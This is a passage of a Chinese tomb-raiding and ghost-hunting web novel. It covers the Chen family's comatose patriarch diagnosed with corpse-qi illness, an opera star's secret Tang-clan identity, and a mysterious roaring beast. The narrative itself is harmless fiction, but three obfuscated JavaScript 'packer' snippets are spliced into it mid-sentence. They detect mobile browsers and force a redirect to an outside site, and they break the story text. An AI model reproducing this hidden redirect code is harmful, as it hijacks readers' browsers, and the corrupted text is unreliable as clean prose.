“首先呢,把我介绍给鸦门小姐,你得给我撑点儿面子别叫人看扁了!其次就是好好干活替四爷办完事然后拿钱走人!我要是看上陈家的什么东西,拿了就走,你别想拦我!” 封鬼见他这是趁机讨价还价,不过不管怎么说确实是自己下的毒手,对他还是有愧,便爽快的答应了。 “好,就这么定了!赶紧睡吧,明天一早我就找四爷问个明白。” … 第二天吃过早饭封鬼就领着二胖找到了陈老四,四爷见二胖肩膀受了伤,好像伤势还不轻,忙问是怎么回事。封鬼刚想回话,二胖就在那夸大其词将昨日之事说得天马行空,那哪里是鬼上身,简直就是星球大战。 “所以我说,那就是玉皇大帝瞧上了咱的命格,委以重任肩负黎民,要我担起拯救全人类的崇高使命!就说我前段时间老是梦到自己有血光之灾,这回应验了!那说明什么?天将降大任于斯人也,必先苦其心志劳其筋骨,所以这是佛祖对我的试炼。最后怎么着?霍爷我通过了!咱就是救世主的不二人选,是大罗神仙从几十亿人民中挑出来的,那是责无旁贷毫无二话!” 封鬼见二胖又在那侃嘴皮子,连忙打断道: “我说就一破鬼上身你哪给我扯出这些个大话?还救世主呢,是哪个孙子昨晚叫得跟杀猪一样啊。” 陈老四来回打量着二人,总感觉像是故意演了一出戏给自己看似的,尤其是二胖那通不着边际的瞎侃,可他实在想不出这二人有什么理由唱一出苦肉计,便试探的询问: “这么说,霍老弟真的被鬼上身了?那封老弟你可知道这鬼的来头啊?” “这得问您呢,四爷。这鬼是栖身在您祖宅里的,你们陈家好歹也是晓风水通阴阳的宗家,怎么可能一点都没有察觉呢?” “封老弟你又不是不知道,我们屠乌门这几十年做的都是金玉买卖,要么为人算命测字看风水格局,捉鬼降妖这一行毕竟难登大雅之堂,又没什么赚头,早已不如往先了。” 陈老四话语间透着股商贾的算计狡诈,封鬼听着不怎么顺耳,冷眼道: “四爷,这话您说得可不中听了。敢情你们陈家彻底成了生意人,就把老本行给忘了?干我们这行的最忌讳忘本,想当年您父亲癞头鬼霸王那也是威名远扬,就算是个土夫子那也做的是阴间的买卖,打的是风水大师的旗号,听您这意思是真心要绝了这宗源,让屠乌门灭在您老手上?” “哎呦封老弟!可不敢胡说这混话!你想到哪里去了?我陈老四是那种见利忘义欺师灭祖的小人吗?这回请你们封家人来,就是敬重你们封印大宗,除了你们封家,再看道佛法巫四大家,哪一个也没有这样的本事啊!” 陈老四果然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391826|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个老奸巨猾的角儿,见自己说错了话,连忙打太极戴高帽,封鬼毕竟年轻经验不足,被三言两语捧得十分受用,笑道: “陈四爷别太认真,我就是给你开个玩笑。不过话说回来,就算你们只重堪舆玄空之术,这阴阳总该还是能通的吧,难道就真的一点也感觉不到鬼气?” “不瞒您说,我们陈家有位通晓阴阳的神人,今儿也到了府上,正想带封老弟去照个面。” “哦?是谁啊?” “我二哥的大孙子陈晓,也就是鸦门小姐的未婚夫。之前一直在英国留学,这次正是为了他爷爷的事而来的。” 二胖一听那假想的情敌真身也来了,把封鬼拉到一边,低声说: “我跟你讲,昨晚兄弟说的可都是真的,这回是要见真佛了,鸦门小妞的那个未婚夫也到了,你可得给兄弟把面子往大了撑啊。我就不信霍爷我顶天立地一铁血真汉子比不上那个骄奢淫逸的富二代小白脸儿!” “拉倒吧你,这还没哪儿呢,等见了再说!还不知道鸦门长成什么样了呢,要是一母夜叉你也要跟人家抢啊?” 说话间,几人已经到了昨天的待客厅堂,六把太师椅上一共坐了三人,两男一女,都是年纪轻轻,男俊女俏,尤其是一白面书生模样的高瘦青年,俊朗不凡,一看就是养尊处优的富家子弟,封鬼认定他就是陈晓。 “叔公。” “四爷。” 没想到那白脸书生没有反应,反倒是另外一个英气的青年和那位美女见了陈老四就客气的起身,恭敬的叫了声叔公和四爷,不用说,男的是陈晓,女的必然是解鸦门。二胖一见解鸦门那娇俏可人的秀丽模样,当下心就痒了起来,正好是他好的那一口儿,乐得差点没用京腔开口大唱“这正是千里姻缘一线牵呐!”。 “哦,鸦门小姐也上前面来啦?”陈四爷见解鸦门竟然从他二哥那过来,还有点吃惊。 “叔公放心,三爷那有人看着呢。”解鸦门一向提防着陈老四,生怕他联合自己亲娘对三爷不利,语调未免有些犀利。陈老四呵呵陪笑,看着陈晓身旁的白面书生,好奇询问: “这位小哥是?” “哦,他是我的朋……” “周翎花!您是周翎花周老板吧?哎呦您瞧这一卸妆差点没认出来!我爸是您的戏迷,全京城就爱看您的戏!什么霸王别姬,贵妃醉酒,锁麟囊,只要是您的戏他都会唱!” 二胖兴冲冲的迎上前,直瞅着那白面书生是望眼欲穿,早把人家解鸦门抛到了九霄云外。 因为受到父亲的影响,他也很喜欢听周翎花的曲儿,当年在电视机前那么惊鸿一瞥就被舞台上那婀娜的身段与华丽的唱功所吸引。 今日见到真人就在面前,卸了俏丽的浓妆之后果然模样英俊,尤其是那双杏眼,星眸皎目婉转流波,跟舞台上显露出来的是丝毫不差。 唱戏的除了嗓子身段,最看重的就是眼神,要么说这周翎花年纪轻轻三十多岁就能成为一代宗师呢?靠的就是那双脉脉含情的桃花眼,想当年他老爹也是被这双眼睛一电才成了死忠饭的,还差点把老妈那坛陈醋给打翻了。 周翎花见多了像二胖这种粉丝,也不多怪,习惯的笑了笑作为回礼。 “这位爷是?” “哦,我叫霍尔潘!周老板,您今儿个无论如何也要给我签名合影啊!我和我爸可都是您的超级大粉丝!但凡您在京城有演出我们爷俩那是逢场必到啊!不知您下一出戏准备什么时候在哪开演啊?能不能提前透露点消息也好让我老爹抢个票……” “我说二胖你行了啊!有你这么不客气的吗?”封鬼嫌他丢人连忙拉他回来,二胖不耐烦的甩开他的手,继续巴巴地望着周翎花。 “你不知道!人家周老板德艺双馨名扬天下!他的皮黄二腔那可是正儿八经的北派京腔,是四大徽班之首三庆的嫡传后人,想当年乾隆八十大寿,那四大徽班可是风靡全京城啊!” 二胖越说越兴奋,周翎花谦虚的拱了拱身子。 “多谢霍爷捧场,承蒙您和老爷子看得起,日后一定将首演的门票送至府上。” “哎呦!我滴姥姥!那,那我代我爹先在这儿谢谢您了!” 二胖又在那夸赞了一番,说得人家周老板都有点发憷了,封鬼连忙叫他打住,陈老四这才有机会给几人作介绍。 “周老板既然是大家都认识的大名人那我就不再多说了。陈晓,这就是封门宗家的长孙封鬼。” 陈晓主动上前与封鬼握手,客气的点了点头。周翎花反应倒是大了些,一听封鬼是谁之后竟然是又惊又喜,那张原本没什么表情的脸如四川变脸一样变得迅速,竟叫封鬼大吃一惊。 7. 【7】尸厥症 “原来你就是封鬼!早就听说小封爷的威名,今日一见,果然名不虚传啊。” 封鬼见了他的反应之后有点纳闷,自己入行不过两三年,名不见经传,就算有封门宗家长孙的旗号撑腰,他也没干过什么惊天动地的大事啊,怎么会让一个唱戏的外行人觉得自己的名字如雷贯耳呢?难道他是因为敬畏爷爷的名号?还是知道一些封家不为人知的秘密?不过这些闪念都只是在脑中那么一闪,心想这也许不过就是人家的客气话,便笑了笑也不知道该回什么话。 “我这朋友一听说封老板在我家,非要吵着跟我一起来见你。翎花,你这目的达到了,是不是该好好谢谢我啊。”陈晓及时的接过话茬,周翎花扭头看了他一眼笑道: “那还用说?等你与鸦门结婚,我必然会备上一份大礼。” “哦?不知陈少爷与解小姐准备哪天办婚礼啊?”二胖一听婚礼又想起了解鸦门,将注意力从周翎花身上转移回来。 陈晓询视的看了看解鸦门,只见她不耐烦的摆了摆手,豪气冲天的高声说: “还早还早!我现在一点都不想结婚,再说这婚事是父辈们定下的,我根本就不知情!陈晓,我可把丑话说前面了,反正到现在我对你是一点感觉都没有,要是到了结婚的时候我还是不喜欢你,咱们趁早解约,两不耽误!” 二胖一听这话,乐了,看来这不是郎情妾意两厢情愿啊,自己还是有戏的。以后肯定有机会相处,努努力说不定就能泡上这千金小姐一跃挤入豪门当姑爷呢。 解鸦门说完就看向了封鬼,转了转眼珠,走到他面前。 “封鬼,怎么十几年不见你长这么高啦?记得小时候你可是个矮冬瓜,如今发育的不错啊。”语调里尽是调侃捉弄,封鬼算是怕了这个大姐大,也嘲讽的回话。 “鸭姐,您可高抬贵手啊,麻烦离我远点儿。咱们不比小时候,我现在可是一身本事,别一不小心失手伤到你的千金之躯,那可就不好交代了。” 封鬼话说得够绝,一是报了小时候被推入冰河的大仇,二是挽回爷们儿的尊严,再就是声明要与她保持距离。解鸦门一听这话气得够呛,可当着这么多人的面前又不能失态,只得忍气吞声翻了个白眼不再说话。 “好啦,大家也见了面了,咱们还是谈正事吧。” 陈老四知道解鸦门的秉性,怕她气不过再发脾气,连忙发话圆场。怎么说人家也是一长辈,在座的五个小辈哪敢造次,都安静下来坐好,等佣人上了茶,开始商议三爷的事。 陈四爷又将昨晚的事说给众人听,还询问陈晓的意见,封鬼见他身为叔父却对自己的大侄子有些敬畏之情,心里也明白几分。 “陈晓生来就有阴阳眼,肯定能看出这宅子里的秽气,你给大伙分析分析,昨晚那是个什么鬼?” 陈晓看了看封鬼,半响开口道: “依照你的描述,那应该是个夜叉。” “夜叉?这我知道,魔阿八部里的鬼部最厉害的就是夜叉和罗刹,那可是吃人的恶鬼!TM的要这么说霍爷岂不是差点成了它的口粮?”二胖想起来就后怕,如果昨晚上他身的是个夜叉,那现在自己还能活着坐在这可真要烧柱高香了。 “也不是所有的夜叉都吃人,而且封鬼也说了,那恶鬼好像并没有加害之意,倒像是有求于人。”陈晓接着说,二胖却不依不饶,瞅了封鬼一眼冷哼一声。 “哼,这还是霍爷我发现的呢!他昨晚吓得屁滚尿流,哪里还有精神去分析人家的动机啊!” 二胖如此大言不惭,封鬼自然是对他了如指掌懒得理他,其他人估计也对他说大话的功夫见识了一二,也都没搭茬。 “这么着,白天阳气太重遮住了鬼气,就算我有阴阳眼也很难发现,等到晚上我再试试,也许能再见到那夜叉可以与它当面对峙。” 陈晓做事一向谨慎,也不好在此武断妄下结论。陈老四点了点头,表示赞同。 “嗯,这样也好。鸦门,不如你带封鬼和陈晓去见见我二哥?戒备心别这么重嘛,咱们都是自家人,封鬼又和你从小认识,绝对不可能会害你三爷的啊。” “好,我可以带你们去见三爷,不过话说在前面,谁也别想封了他的魂魄。三爷气脉顺畅,阳寿充裕,只是暂时受恶鬼压制,早晚会有醒来的一天。我会一直待在这里,想尽办法救三爷还阳。” 解鸦门说得真切,不免让人佩服起这小妞对陈三水的忠心。她顿了顿,一脸严肃的看向封鬼。 “封鬼,我知道你现在是个商人,不过有些钱干净有些钱脏,该拿的不该拿的希望你看清楚点。三爷是我父亲的师兄,我既承了父亲的衣钵,那三爷就是我师伯。只要你帮我救醒师伯,我替父亲和金兜门上下感谢你的大恩大德,要什么报酬随你开口。咱们谢家老宅里的东西也不是摆设,只要陈家有的我们谢家也有。” 解鸦门这番话那是彻彻底底摆明了立场,就是要光明正大的警告众人,谁要是敢对三爷起歹心,那就是跟他们金兜门过不去,这梁子就算是结下了。 陈老四觉得面子上有点挂不住,尴尬的咳了两声,便催小辈们快走。到了四进院,门口有两个穿西装的保镖把守,见到是自家小姐,忙点头行礼之后就放众人进去。 陈三水住的是最里面的院落,地方最大,庭院里就种满了花草树木,显得十分阴暗潮湿,再加上昨晚大雨,空气中弥漫着土腥气,天气又炎热,二胖憋闷得直喘气。 “我说这是人住的地儿吗?还是个八十多岁的老人,这能顺过气儿吗?瞧这满屋子的花草,净招蚊蚁蛇虫,保不准还招牛鬼蛇神,满院子的秽气,这病能好吗?” 虽然这话是牢骚,不过众人仔细一琢磨还真有几分在理。你说正常人生病了不都应该住院吗?之前没人往那方面想,只当在老宅养着方便家里人照顾,再说他们都深信不疑三爷是招了鬼,住院也没用,所以根本不会有人觉得这庭院有什么不合适。 陈老四听了二胖的牢骚怕引起解鸦门的非难,招惹不必要的麻烦,连忙说: “瞧霍老弟这话说的,我们怎么能不知道这个?也碰巧你赶上了,只有下雨的时候这里才潮湿些,平日里那可是艳阳高照,温暖宜人啊,最适合老人家修养了。” 二胖听出他话里的不高兴,急忙赔笑。 “得!怪我嘴贱,多多得罪了,四爷您别见怪啊。” 几人进了陈三水住的堂屋,一入眼就看到正堂摆一泰山老松的翠玉屏风,那尺寸和成色,绝对是举世无双。再看那阴沉木的明代博古架上,陈列着封鬼见都没见过的稀世珍玩,估计都是从墓里盗出来的明器,光是夜明珠子就有两颗。再往里走,屋中有淡淡香气弥漫,嗅之令人气定神宁。封鬼闻出这是龙涎香,再看那香炉,是卧狮双耳缠枝莲纹青铜三足鼎,通体乌亮油润,造型淳朴敦厚,显然是个价值连城的古董。 二胖看得又是心痒痒,冲封鬼使了个眼色,封鬼连忙摇头,示意他老爷子屋里的东西绝对不能动。 几人到了床前,见那陈三水秃头白眉,干瘦如柴,老态龙钟,离近了还有股子难闻的老人味儿。二胖鼻子灵,就算这龙涎香也遮不住,捂着鼻子连连后退,一不小心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391827|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撞上了受伤的那条胳膊,疼得他呲牙咧嘴,便回头看究竟是哪个孙子撞了他,却见背后立着一口清朝的铜镀金西洋报时钟,笨重的钟摆迟缓的左右摇晃着,发出吱吱嘎嘎的闷响,如同床上的迟暮老人,做着最后的垂死挣扎。 封鬼可不像二胖那般假洁癖,上前仔细查看陈三水的身体状况。翻开他的眼皮,瞳孔放大,与死人无异;再探鼻息,似有时无,断断续续;又摸脉搏,倒是平缓稳定,就像是睡着一般。 来来回回这么看了半天,四爷见他好像有了眉目,便问怎么样,封鬼就请大伙去外面说话,估计他也闻到那股子味儿了,确实不怎么好闻。到了屋外,封鬼捏了捏自己的眉心,低声对众人说: “三爷这是得了尸厥症,不知道从哪里染了尸气,陷入假死状态,与活死人一般。” 话音刚落,二胖反应最快,急忙大叫: “啊?那岂不是僵尸?!陈三爷是七部尸魅啊!” “不懂你就别瞎说!知道点皮毛就在这乱显摆。尸厥症是病,因为沾染了尸毒感染所致,所以说三爷还是个人类。只是如果再这么放任下去,不出半年,老爷子可就真成僵尸了。” 封鬼这话一说完,在场的所有人都傻了眼了。尤其是陈老四和解鸦门,虽然心境各有不同,可那也都凉了半截啊。这尸厥症是什么呀?靠盗墓发家的屠乌门和金兜门比谁都清楚,这种病可是只有下了古墓的土夫子才会染上的怪病。既然陈三水得了尸厥症,那就说明他之前一定又去了古墓。陈老四心里一咯噔,难道他二哥又干起了父辈的老本行?去升棺发材了? “那可怎么办?有没有什么破解之法?”解鸦门急忙追问,封鬼叹了口气,摇头说道: “有是有,只是比较难办。必须找到那具让三爷染上尸毒的古尸,将它做法封印,再重新入殓掩埋,或许能让三爷病情好转。” “古尸?”陈老四心虚,失口叫出声来,封鬼笑着对他说: “四爷不要瞒我,尸厥症是怎么得的咱们心里都清楚。如果不是古墓里的尸体,也不可能让三爷染上这种怪病。” 陈老四听了这话,就知道封鬼熟知他们陈家的底细。不过这也是在道上人尽皆知的历史,没有什么好隐瞒的。 “这,这上哪知道去啊?二哥什么时候去了古墓我是一点也不清楚!” “你好好想想,三爷是一年前病倒的,一年之前他有没有去过什么特别的地方?比如说回老家上坟。” “这……我实在想不起来。我得问问老太太去。”陈老四又想了想,还是没有什么眉目,封鬼点了点头。 “嗯。还有一点,三爷的尸毒很厉害,说明那尸体已经尸变,八成已经变成了僵尸。如果只是初级白毛僵还好,若是成了旱魃,那可就实在不好对付了。” “旱魃我知道,是不是那个能杀龙吞云的?”二胖听了半天有些云里雾里,不过终于让他听到个耳熟的,连忙抢着接话。 “不错,所到之处,赤地千里大旱成灾。”陈晓自然也知道旱魃的厉害,有点无奈的叹了口气。 “既然找到症结病因,好歹是有了眉目,封老弟,我真要好好谢谢你!等我去问了老太太,咱们再做商议如何?” “好说。” 陈四爷带着几人又回到了待客厅,二胖等着他们做进一步的说明,却见每个人都是心事重重,也不好再开口。 周翎花声称有急事要走,二胖如愿得到了签名与合照。等他离开之后,鸦门去给三爷擦洗身子,四爷去找老太太问话,陈晓就说要带胖鬼二人去后面的园子逛逛。 8. 【8】盗墓世家 “怎么着?这么大的四合院还有个后花园?” 二胖吃了一惊,这么大的占地面积,已经非一般商贾富豪能建造的了,竟然后面还有花园,那得是多大的地界啊。 陈晓见二胖心直口快,人也爽朗,心情大好,就把祖宅的由来说给他听。 “这宅子是我爷爷从一个地主儿子手里得来的,听说那地主的父辈是皇亲国戚,当年建造这四合院花了几十年的功夫,消耗人力财力不计其数。后来地主的儿子抽鸦片赌博把祖业败光了,只好拿这宅子抵债,就落到了我爷爷手里。算来,这宅子也有尽两百年的历史了,光是我见着就翻修三四次了。” “哎呦,那这可是受国家保护的文化遗址啊!”二胖大惊失色,陈晓点头笑了笑。 “这宅子确实太老了,已经不适合人居住,也就我爷爷一直舍不得,还跟文化局闹过两次。我跟叔公商量好了,再过两年就把这宅子捐给政府,也算是物归原主了。” 说话间三人已经到了后花园,封鬼见这园子虽然没有恭王府的大气,倒也精致雅丽,颇有江南园林的风采。你看那雕栏玉石桥,勾梁画栋亭;斗角菱格窗,翘阶玲珑廊;杨柳齐垂钓,松柏入云霄;处处是风景,伏日无限光。再看那一池粉荷开得正是艳丽,给满园翠绿添了不少婀娜。 二胖见陈晓和封鬼站在柳树下商讨陈三水的事,一时间插不上话,感觉自己受了冷落,突然又想到了周翎花,就打了岔。 “我说陈少爷,你跟周老板是怎么认识的?有没有兴趣跟我们讲讲啊?” “大家都是自己人,你叫我陈晓就得了。” “那敢情好啊。陈晓,赶紧跟我说说这周老板的事儿呗?也好让我回去跟老爹显摆显摆。” 提起这个周翎花封鬼对他也是十分好奇的,之前他对自己那番热情的态度就不正常,就想多了解了解有关他的事,也兴致勃勃的看着陈晓。 “我也是有一次陪朋友去看戏的时候认识他的,那时候还以为是个女的,还差点调戏了人家,没想到竟然是个带把儿的。我心有愧疚,就请他喝酒,一见如故,做了朋友,没想到他看着年轻竟然比我大好几岁,非要让我叫他哥。” 说到这陈晓不免发笑,二胖听得津津有味,连忙问后话。 “那后来呢?他有没有给你一人唱过曲儿?你就没走个后门儿拜个师学个艺啥的?” 陈晓犹豫了片刻,继续说道: “说实话,我一直不喜欢戏子,看不惯他们的风花雪月逢场作戏。俗话说婊子无情戏子无义,因此我也从未对戏曲感过兴趣。” “哦?那你还和周老板称兄道弟?” “呵呵,他不一样,这唱戏虽然是他的本行,不过却是个幌子,他还有另外一个身份,那可是个了不得的秘密。” 陈晓挑了挑眉,故意吊起二人的胃口。封鬼和二胖竖起耳朵,迫不及待的异口同声: “什么身份?” 只见陈晓勾起唇角,颇有些洋洋得意的神色,就像是炫耀优秀儿子的母亲一样。 “他呀,就是巫派唐门宗家的长孙,下一任的大当家。” “唐门?唐门不是四川的?”封鬼一惊,唐门可是巫派最正统的门派,然而活动范围只局限于川湘贵滇一带,但是周翎花满嘴的京腔又是有名的京戏大家,怎么会是四川人呢? “不错,他祖籍四川,从小在北京长大的。”陈晓很快解了封鬼心中的疑团,可二胖不高兴了,敢情他父子俩崇拜的偶像是一赝品啊! “那四大徽班呢?难道他根本就不是名伶之后?” “这倒不假,他娘确实是四大徽班的后人。周翎花是他的艺名,周是娘家姓,而他的真名叫赵麟。他家是九代单传,自从他爹死后,翎花不愿意接任掌门,只好由他外公帮他打理赵家。哎,他说唱戏才是这辈子最快乐的事,可早晚他还是要回四川接手唐门的。” 说到这里陈晓眼中闪过一丝落寞,二胖听了这话也心中难过。没想到这么好的一个戏曲家就要折在唐门手里了。 “这些事只有翎花最亲近的几个人才知道,我是看霍爷你们父子真心喜欢他才以实相告的,希望你和封鬼能保守秘密,也不枉我们相识一场。” 陈晓说是请求,语调中却透着不容拒绝的威胁。封鬼一听这话悔得肠子都青了,这种秘密还不如不知道的好。多一事不如少一事,这陈晓好像成心要将周翎花的秘密与他共享,也不知道居心何在,只能打马虎眼。 “这是自然,既然陈兄不把我们当外人,我们肯定要为朋友保守秘密的。” 三人各怀鬼胎不再说话,开始默默的逛园子。封鬼见荷花池边有挖掘过的痕迹,就指着问是怎么回事。陈晓愣了一下,摇头道: “我也不知道,这园子我都没来过几回,差不多也荒废了,也许是之前的佣人想开辟一块地方种菜吧。” 二胖对这种说法却不以为然。 “种菜也不能种在池塘边儿上啊,这要是一下雨很快不就淹了。要我说,那就是小偷强盗想从这挖一条隧道通到你们院子里,然后捞了满屋子的宝贝神不知鬼不觉!你们那四合院儿的防盗系统这么好,又满屋子的奇珍异宝,眼红的强盗要想偷东西也只能从这下手啊。” “呵呵,这话说的在理,赶明儿我叫人来检查检查就是了。” 陈晓随便敷衍了一句,之后三人又是闲聊一番,回去的时候没见到陈四爷,佣人说是老太太去逛公园,四爷去接人了。眼瞅到了中午,陈晓要请二人下馆子,叫了解鸦门,她说留三爷一人在家不放心,就叫三人去,自己留在家里吃。 陈晓开着自己的路虎到了和平门的全聚德,虽然人满为患,不过他从包里掏出一张金卡,服务员看了之后直接就领着三人到了包间。 因为陈晓做东,二胖是一点儿都不客气,虽然这全聚德也来过,可就那么一次,还是在小时候坐的大堂,哪里见过包间的模样?这回宰上门来了,一连点了几个豪华套餐,吃得是两嘴抹油脚下生风。 结账的时候陈晓刷卡,二胖一见账单,傻眼了。好家伙,就他们三个人吃了好几千的肥鸭子! 三人吃撑了,想找个地方消消食,陈晓要去封鬼的店里看看,便又去了后海。 到了聊茗斋,封鬼拿了那几样宝贝茶具给二人泡茶。没想到陈晓并不懂茶,对那些器具也并不在意,二胖心想这就是有钱人作的,从小就挥金如土哪里瞧得上这些个破古董? 不过他对字画倒是有些研究,惊讶的盯着墙上那几幅画,叹道: “这可全都是真迹啊!封老弟,你这是从哪里来的?难道那些博物馆里的全都是假的?” 二胖对这个也纳闷,就一起追问。封鬼笑了笑,优哉游哉的说道: “那些是真的,我这也是真的。上次跟二胖说过了,他还不信。” “怎么可能啊!我就不信这些画家一幅画都画了两遍。”二胖不服气,封鬼看了看陈晓,就去问他。 “你觉得呢?” 只见陈晓趴在那几副装裱在玻璃之后的字画前看了半天,打了个响指自信满满的说: “这些画确实是真迹,不论笔法与技巧,都是出自名家,只可惜还是漏出了破绽。” “哦?你说说破绽在哪?” “在墨色与纸张上。复制名画并不是什么难事,只要技艺超群,照着原作临摹总能做到以假乱真。但是就算是画家本人,绘画的笔法与技巧可以相同,可墨色与纸张却总是有所差别,更别说是跨越千年的差距了。比如这《簪花仕女图》,周昉用的是唐代的宫绢,而你这幅用的是苏州的天香绢,看纹理质地不过几十年的历史,又怎么可能是唐朝的宫绢呢?” 封鬼微微一笑,道: “可你刚才说这确实是真迹。” “不错,这确实是周昉画的,却不是他在唐朝画的绢本,而是几十年前为你二叔专门画的。” “啊?!你,你说什么?”二胖吃了一惊,以为自己听错了。陈晓见封鬼但笑不语,就继续揭秘。 “封门最擅封鬼镇妖,可将魂魄封于镇魂蛊中千年不入地府轮回。你二叔是个画痴,只要是名家墨宝都想占为己有。他一定是施法摄了这些画家的魂魄借身让他们还阳,不知用什么手段逼他们模仿自己的画作。” “不愧是陈家长孙,精明!不过我二叔没有逼迫他们,而是帮他们解印。你以为就我们封家能慑魂勾魄?几百年来多少的爱画之人为了求得真迹用卑鄙的手段将古人封印在自己手里,让他们无□□回超生,是我二叔机缘巧合碰到他们,帮他们解除封印超度亡魂,他们为了感谢才赠画给二叔的。” 封鬼给他二叔正名,陈晓立刻道歉。 “原来是这样,是我妄言了。” 封鬼倒是没太在意,说没什么。陈晓又环顾了一圈,不禁赞道: “你二叔还真是舍得,竟然把这些墨宝放你店里。” “二叔见我刚开张,是不想要我丢了封家的脸,才忍痛拿出来给我撑场面,早晚还是要还回去的嘛。” 二胖自从听说这些都是真迹之后就耐不住性子了,在一旁急得抓耳挠腮,就像是动物园里的猴子一样,浑身上下都长满了虱子。封鬼见他又要生事,狠狠瞪了他一眼,以为能堵住他的嘴。可那孙子根本憋不住话,咽了口唾沫就说: “我说小封,要不你劝劝你二叔把这些字画都卖了,那好歹也有几个亿,咱也别卖什么茶捉什么妖了,去印度尼西亚买块小岛,做个岛主岂不比你这茶铺里的小老板强上千倍万倍。” 封鬼就知道他狗嘴里吐不出象牙,满脑子的歪思邪念,除了生财之道那就没别的,关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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二胖一语点醒梦中人,封鬼恍然大悟,他怎么就没想到呢。这扇子本身并没什么稀罕,非金非银,又没有镶玉裹翠,也不是什么古董。 不过它曾经的所有者是著名戏剧大师梅兰芳,看上这扇子的人自然在意的也是这个主人身份,而能把这扇子当无价宝的除了戏迷恐怕也就只有崇拜老艺术前辈的戏子了吧。 “不错,呵呵!翎花特别的崇拜梅兰芳大师,把他当神一样供着。他要是见了这扇子,那绝对乐晕过去。” 陈晓自然是对这份意外的收获喜形于色,封鬼对这份友情又是羡慕又是佩服。不过他很快就想到不对劲儿的地方。 “你跟周翎花的交情真不是一般的好,不过道派和巫派一向不和,你们家要是知道了周翎花的真实身份,恐怕一定会阻止你们来往吧。” 封鬼听他二叔说过,道派与巫派古往今来出了不少盗墓的高手,尤其是屠乌与唐门,祖上又有七大姓人瓜分天下盗墓的行当各成一家。然而一个官盗一个民盗,道派自东汉末年三国起曹操设发丘中郎将与摸金校尉军衔,专司盗墓取财以充军饷,打那以后将官盗发扬光大,多出能人异士,自诩校尉之后身份高人一等。 巫派擅暗器使毒,早在秦朝年间于川贵滇一带多干绿林强盗之事,又做掘丘挖坟之营生,擅搬山卸岭之术,所到山岭不论活人死人皆被洗劫一空,便取了强盗与盗墓的盗字为意自称搬山盗人,之后干脆将“盗”改成了“道”,于是摇身一变成了从事崇高职业的道士。 道派看不惯巫派的旁门左道,认为只有自己才是盗墓的宗家,心想你这不入流的搬山盗人又怎么能和我们摸金校尉相提并论?于是百年来相互争斗少有往来,尤其是屠乌与唐门,更是到了有你没我的境地。 所以封鬼的担心不是无端,照这两家的冤缘,一个是屠乌宗家的长孙,一个又是唐门宗家的长孙,二人却成了挚友,该说这是造化弄人,还是老天戏耍子呢? “所以请封老板与霍爷为了小弟的这份友情,一定帮我保密啊。” 陈晓表现的倒是豁达,好像一点儿都不担心两个宗家会因为二人的关系大动干戈。封鬼心想这是人家的事就算屠乌与唐门打起来了也轮不到你封门操心,也就不再去理会。 三人聊了半天看时间差不多了,就回到陈家老宅,二胖看那大宅门依旧和走之前一样沉寂无声,与刚才的繁华商街相比,真是恍如隔世之秋啊。 佣人正在准备晚饭,说老太太和四爷还没有回来。陈晓要到后面找鸦门说事,二胖直喊累,非要睡个饭前觉,封鬼就陪他回了客房。两人刚把脚丫子迈入二进院门儿,突然从里面传来一声低沉的叫喊,那喊声有如狮吼,虽然声音不大,却浑厚有力,贯彻了整个宅院,封鬼就感觉一阵地动山摇,也不明白发生了什么,本能的去看旁边的二胖,这一看不要紧,整个人都倒吸一口气,连眼珠子都要瞪出来了! 9. 【9】犼 封鬼在听到那喊声之前二胖一直就走在自己身边,还唠唠叨叨的嘴里没停,一点儿异样都没有,可当他转头看向二胖的时候,整个人都傻了眼了。就见二胖跟堵肉墙一样站在自己背后,从他的眼睛鼻子里流出了四股红色的血浆,那画面简直就是恐怖之极令人毛骨悚然啊! 封鬼当下做出反应,立刻摘下脖子上的一块古玉塞进二胖嘴里让他含着,抽出腰里的邪牙刀弓起身拉开一个防御备战的姿势。 可等了一会儿那喊声越来越远,到最后完全消失,什么事都没有发生。二胖闭着眼睛跟个木头人一样站在原地一动不动,倒像是睡着了一样。 我去!这TM演的是哪一出啊!封鬼暗骂,拿回古玉拍了二胖一个嘴巴子,二胖马上就醒了,迷迷糊糊的问这是怎么了发生什么事了? 封鬼没有搭话,将古玉挂在了他的脖子上。 “这块玉给你了,记住不论什么时候绝对不可以拿下来。要是哪天你偷偷给摘了,哼哼,你他娘的就等死吧。” 封鬼说得又恨又绝,一点儿也不像是玩笑话,可二胖是什么人?一会儿不说玩笑话就浑身不舒服,见封鬼突然送了块玉佩给他,嬉皮笑脸的骂道: “我说你TM是几个意思啊?什么时候看上霍爷我的?怪不得没见你交过女朋友呢,原来你是好这口!可你他娘的也太缺德了,这事怎么拿兄弟出手啊!霍爷我TM对男人没兴趣,你就算送我个价值连城的古玉也别想叫我跟你怎么滴!” 二胖一边骂一边就要摘玉佩,封鬼咬了咬牙,抬手捏着他的耳朵就是狠狠一拧。 “你TM说句人话能死啊!你自己摸摸脸上是什么!我这是救你的命你还给我蹬鼻子上脸!真TM傻缺!” 